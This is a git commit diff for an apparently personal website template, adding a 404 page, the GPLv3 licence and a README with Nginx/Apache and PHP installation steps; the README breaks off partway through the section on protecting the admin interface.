commit 6f42a58ee56fcb1e77501b68b6e415838d37575c Author: Fraggle Date: Sun Jan 25 11:33:37 2026 -0400 first commit diff --git a/404.html b/404.html new file mode 100644 index 0000000..db50584 --- /dev/null +++ b/404.html @@ -0,0 +1,38 @@ + + + + + + + + + + + 404 - Page Not Found - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+

404

+

Page Not Found

+

Loading error message...

+ +
+ + + + diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..0d6c36a --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,666 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2025 Website Template Contributors + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a "work based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work for +making modifications to it. "Object code" means any non-source form of +a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that is +widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for the +work, and the source code for shared libraries and dynamically linked +subprograms that the work is specifically designed to require, such as by +intimate data communication or control flow between those subprograms and +other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license remains in force. +You may convey covered works to others for the sole purpose of having +them make modifications exclusively for you, or provide you with +facilities for running those works, provided that you comply with the +terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for +you must do so exclusively on your behalf, under your direction and +control, on terms that prohibit them from making any copies of your +copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or similar +laws prohibiting or restricting circumvention of such measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License does not + authorize you to use any trademark, service mark, tradename, or + logo of any Contributor. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied by +the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder fails to notify you of +the violation by some reasonable means within 60 days of your receipt +of the copy. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy also receives whatever licenses to +the work the party's predecessor in interest had or could give under +the previous paragraph, plus a right to possession of the Corresponding +Source of the work from the predecessor in interest, if the predecessor +has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE +COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be applied locally according to their terms, reviewing +courts shall apply local law that most closely approximates an absolute +waiver of all civil liability in connection with the Program, unless a +warranty or assumption of liability accompanies a copy of the Program in +return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for details on how to apply please refer to this +License. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2a62c4 --- /dev/null +++ b/README.md @@ -0,0 +1,544 @@ +# Website Template + +A modern, clean website template with blog, cheatsheets, quick reference guides, search integration, and analytics. Built with pure HTML, CSS, and JavaScript - no frameworks, no build process, just code that works. + +## Features + +- **Homepage** - Dynamic time-based greetings and theme switcher +- **Complete Blog System** - Full blogging platform with RSS, reactions, and analytics +- **Quick Reference Guides** - Programming language refs (Bash, Python) +- **Cheatsheets** - Command-line and security tool cheatsheets (nmap, ssh) +- **Search Integration** - SearXNG theme customization +- **Privacy-Focused Analytics** - Self-hosted, no third-party tracking +- **Theme System** - Dark/light mode with smooth transitions +- **Fast & Lightweight** - Pure HTML/CSS/JS, no bloat + +## File Structure + +``` +website-template/ +├── README.md +├── index.html +├── 404.html +├── favicon.ico +├── assets/ +│ ├── css/ +│ ├── js/ +│ ├── fonts/ +│ └── icons/ +├── blog/ +│ ├── admin/ # Blog admin interface (protect this!) +│ │ ├── index.php # Script to convert .md posts to JSON +│ │ └── example-post.md +│ ├── api/ +│ ├── data/ +│ └── js/ +├── api/ +├── analytics/ +├── cheatsheets/ +├── quickref/ +├── search/ +└── data/ + ├── analytics/ + └── reactions/ +``` + +## Installation & Setup + +### Step 1: Extract the Template + +```bash +tar -xzf website-template.tar.gz +cd website-template +``` + +### Step 2: Set Up Your Web Server + +#### Option A: Nginx (Recommended) + +1. **Install Nginx and PHP:** + + **Debian/Ubuntu:** + ```bash + sudo apt update + sudo apt install nginx php-fpm php-json php-mbstring + ``` + + **Fedora/RHEL/CentOS:** + ```bash + sudo dnf install nginx php-fpm php-json php-mbstring + ``` + + **Arch Linux:** + ```bash + sudo pacman -S nginx php-fpm php + ``` + + **openSUSE:** + ```bash + sudo zypper install nginx php-fpm php-json php-mbstring + ``` + + **Alpine Linux:** + ```bash + sudo apk add nginx php-fpm php-json php-mbstring + ``` + + **macOS (Homebrew):** + ```bash + brew install nginx php + ``` + + **FreeBSD:** + ```bash + sudo pkg install nginx php82 php82-json php82-mbstring + ``` + +2. **Configure Nginx:** + Create `/etc/nginx/sites-available/your-site` (or edit the default): + ```nginx + server { + listen 80; + server_name your-domain.com www.your-domain.com; + root /var/www/html; + index index.html; + + # PHP handling + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php-fpm.sock; + } + + # Deny access to hidden files and data directories + location ~ /\. { + deny all; + } + + location ~ /data/ { + deny all; + } + + # Main location + location / { + try_files $uri $uri/ =404; + } + } + ``` + +3. **Enable the site:** + + **Debian/Ubuntu:** + ```bash + sudo ln -s /etc/nginx/sites-available/your-site /etc/nginx/sites-enabled/ + sudo nginx -t + sudo systemctl reload nginx + ``` + + **Other Linux distributions:** + ```bash + # Edit /etc/nginx/nginx.conf directly or create config in /etc/nginx/conf.d/ + sudo nginx -t + sudo systemctl reload nginx + ``` + + **macOS:** + ```bash + # Edit /usr/local/etc/nginx/nginx.conf + brew services restart nginx + ``` + + **FreeBSD:** + ```bash + # Edit /usr/local/etc/nginx/nginx.conf + sudo service nginx reload + ``` + +4. **Copy files and set permissions:** + + **Linux (most distributions):** + ```bash + sudo cp -r * /var/www/html/ + sudo chown -R www-data:www-data /var/www/html/ # or nginx:nginx on some systems + sudo chmod -R 755 /var/www/html/ + sudo chmod 775 /var/www/html/data /var/www/html/data/analytics /var/www/html/data/reactions + sudo chmod 775 /var/www/html/blog/data + ``` + + **macOS:** + ```bash + sudo cp -r * /usr/local/var/www/ + sudo chown -R _www:_www /usr/local/var/www/ + sudo chmod -R 755 /usr/local/var/www/ + sudo chmod 775 /usr/local/var/www/data /usr/local/var/www/data/analytics /usr/local/var/www/data/reactions + sudo chmod 775 /usr/local/var/www/blog/data + ``` + + **FreeBSD:** + ```bash + sudo cp -r * /usr/local/www/nginx/ + sudo chown -R www:www /usr/local/www/nginx/ + sudo chmod -R 755 /usr/local/www/nginx/ + sudo chmod 775 /usr/local/www/nginx/data /usr/local/www/nginx/data/analytics /usr/local/www/nginx/data/reactions + sudo chmod 775 /usr/local/www/nginx/blog/data + ``` + +#### Option B: Apache + +1. **Install Apache and PHP:** + + **Debian/Ubuntu:** + ```bash + sudo apt install apache2 libapache2-mod-php php-json php-mbstring + ``` + + **Fedora/RHEL/CentOS:** + ```bash + sudo dnf install httpd php php-json php-mbstring + ``` + + **Arch Linux:** + ```bash + sudo pacman -S apache php + sudo systemctl enable --now httpd + ``` + + **openSUSE:** + ```bash + sudo zypper install apache2 php php-json php-mbstring + ``` + + **Alpine Linux:** + ```bash + sudo apk add apache2 php php-json php-mbstring + ``` + + **macOS (Homebrew):** + ```bash + brew install httpd php + ``` + + **FreeBSD:** + ```bash + sudo pkg install apache24 php82 php82-json php82-mbstring + ``` + +2. **Enable PHP and mod_rewrite:** + + **Debian/Ubuntu:** + ```bash + sudo a2enmod php + sudo a2enmod rewrite + ``` + + **Fedora/RHEL/CentOS/Arch/openSUSE/Alpine:** + ```bash + # PHP module is usually enabled by default + # Enable rewrite module (method varies by distro) + # Check your distribution's documentation for specific commands + ``` + + **macOS:** + ```bash + # Edit /usr/local/etc/httpd/httpd.conf + # Uncomment: LoadModule rewrite_module lib/httpd/modules/mod_rewrite.so + ``` + + **FreeBSD:** + ```bash + # Edit /usr/local/etc/apache24/httpd.conf + # Uncomment: LoadModule rewrite_module libexec/apache24/mod_rewrite.so + ``` + +3. **Configure Apache:** + Edit `/etc/apache2/sites-available/000-default.conf` (or create a new virtual host): + ```apache + + ServerName your-domain.com + DocumentRoot /var/www/html + + + Options -Indexes +FollowSymLinks + AllowOverride All + Require all granted + + + # Protect data directories + + Require all denied + + + ``` + +4. **Copy files and set permissions:** + + **Linux (most distributions):** + ```bash + sudo cp -r * /var/www/html/ + sudo chown -R www-data:www-data /var/www/html/ # or httpd:httpd on some systems + sudo chmod -R 755 /var/www/html/ + sudo chmod 775 /var/www/html/data /var/www/html/data/analytics /var/www/html/data/reactions + sudo chmod 775 /var/www/html/blog/data + ``` + + **macOS:** + ```bash + sudo cp -r * /usr/local/var/www/ + sudo chown -R _www:_www /usr/local/var/www/ + sudo chmod -R 755 /usr/local/var/www/ + sudo chmod 775 /usr/local/var/www/data /usr/local/var/www/data/analytics /usr/local/var/www/data/reactions + sudo chmod 775 /usr/local/var/www/blog/data + ``` + + **FreeBSD:** + ```bash + sudo cp -r * /usr/local/www/apache24/data/ + sudo chown -R www:www /usr/local/www/apache24/data/ + sudo chmod -R 755 /usr/local/www/apache24/data/ + sudo chmod 775 /usr/local/www/apache24/data/data /usr/local/www/apache24/data/data/analytics /usr/local/www/apache24/data/data/reactions + sudo chmod 775 /usr/local/www/apache24/data/blog/data + ``` + +5. **Restart Apache:** + ```bash + # Linux (systemd) + sudo systemctl restart apache2 # Debian/Ubuntu + sudo systemctl restart httpd # Fedora/RHEL/Arch/openSUSE + + # macOS + brew services restart httpd + + # FreeBSD + sudo service apache24 restart + ``` + +### Step 3: Configure PHP + +Edit your PHP configuration to set the timezone: + +```bash +# Find your php.ini location +php --ini + +# Edit php.ini (location varies by OS and installation method) +# Common locations: +# Linux: /etc/php/8.x/fpm/php.ini or /etc/php.ini +# macOS: /usr/local/etc/php/8.x/php.ini +# FreeBSD: /usr/local/etc/php.ini + +# Set your timezone (replace with your actual timezone) +date.timezone = "America/New_York" + +# Restart PHP-FPM (or PHP service) +# Linux (systemd): +sudo systemctl restart php-fpm # or php8.x-fpm + +# macOS: +brew services restart php + +# FreeBSD: +sudo service php-fpm restart +``` + +### Step 4: Test It Out + +1. **Start a local PHP server for testing:** + ```bash + cd /var/www/html + php -S localhost:8000 + ``` + +2. **Visit in your browser:** + - Homepage: `http://localhost:8000` + - Blog: `http://localhost:8000/blog/index.html` + - Analytics: `http://localhost:8000/analytics/index.html` (IP-restricted by default) + +### Step 5: Secure the Admin Interface + +**IMPORTANT:** The blog admin interface at `/blog/admin/` should be protected. Use one of these methods: + +**Option 1: HTTP Basic Auth (Nginx)** +```nginx +location /blog/admin/ { + auth_basic "Admin Area"; + auth_basic_user_file 